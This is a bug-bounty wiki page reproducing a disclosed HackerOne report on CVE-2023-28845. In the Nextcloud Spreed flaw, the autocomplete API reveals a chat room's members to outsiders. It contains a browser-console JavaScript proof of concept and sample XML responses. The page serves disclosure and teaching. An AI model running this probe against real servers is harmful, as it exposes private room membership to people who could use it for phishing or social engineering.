Skip to content
Info disclosure Disclosed report Beginner CVE-2023-28845

Chat room member disclosure via autocomplete API

The autocomplete API for Spreed rooms did not check whether the requesting user was a member of the room, so an outsider could query it to learn who is in a room. By comparing results before and after a member was removed, the attacker could confirm membership status.

lukasreschke Follow

Originally disclosed on HackerOne

Medium 4.2 View original
  • Triaged in 17 hours
  • Fixed in 25 days
  • Paid in 31 days
  • Disclosed after 55 days

Summary by the program

Security advisory at https://github.com/nextcloud/security-advisories/security/advisories/GHSA-3m6r-479j-4chf

The report

Summary:

Even if you are not a member of a Spreed room, it is possible to find out who is in the room using the autocomplete API. I have not yet checked if this affects other autocomplete share types.

Steps to reproduce:

Requirements: Three users named "demo", "demo1" and "hacker".

  1. Create a new Spreed room as user "demo" (note the room ID)
  2. Add user "demo1" to the room
  3. Log in as user "hacker" and execute the following in the JavaScript console of your browser Change the itemId to the room ID you created earlier.
let req = new XMLHttpRequest();
req.open("GET", OC.generateUrl('/ocs/v2.php/core/autocomplete/get?search=demo&itemType=call&itemId=qqads88a&shareTypes[]=0&shareTypes[]=1&shareTypes[]=7&shareTypes[]=4'))
req.setRequestHeader('requesttoken',OC.requestToken)
req.send();
  1. In the Network tab you will now see the following response:
<?xml version="1.0"?>
<ocs>
 <meta
  <status>ok</status>
  <statuscode>200</statuscode>
  <message>OK</message
 </meta>
 <data/>
</ocs>
  1. Now as user "demo" remove user "demo1" from the chat room.
  2. Re-send the request as user "hacker", you will now see that demo1 is available as a suggestion and therefore not a member of the chat room:
<?xml version="1.0"?>
<ocs>
 <meta>
  <status>ok</status>
  <statuscode>200</statuscode>.
  <message>OK</message
 </meta>
 <data>
  <element>
   <id>demo1</id>
   <label>demo1</label>
   <icon>icon-user</icon>
   <source>users</source>
   <status/>
   <subline></subline>
   <shareWithDisplayNameUnique>demo1</shareWithDisplayNameUnique>
  </element>
 </data>
</ocs>

Impact

An attacker could use this vulnerability to gain information about the members of a Spreed chat room, even if they themselves are not members. This information could potentially be used for malicious purposes, such as targeted phishing attacks or social engineering attempts. The impact could depend on the sensitivity of the information being shared in the chat room.

The original report as published on HackerOne, by lukasreschke. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could learn who is in a Spreed chat room without being a member, which could aid targeted phishing or social engineering.

What the attacker needed

Three user accounts; knowledge of the room ID

How it was found

  1. Create a new Spreed room as user 'demo' and note the room ID.
  2. Add user 'demo1' to the room.
  3. Log in as user 'hacker' and send an autocomplete request with the room ID.
  4. Observe that the response does not list 'demo1' as a suggestion, indicating membership.
  5. As user 'demo', remove 'demo1' from the room.
  6. Re-send the request as 'hacker' and see 'demo1' now appear as a suggestion, confirming non-membership.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A chat room has a list of members. The autocomplete feature, which suggests people to add, was answering questions about a room's members even when the person asking was not in that room. This let an outsider work out who belongs to a private room.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More by lukasreschke

View all

19 more disclosed reports, best first.

More from Nextcloud

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.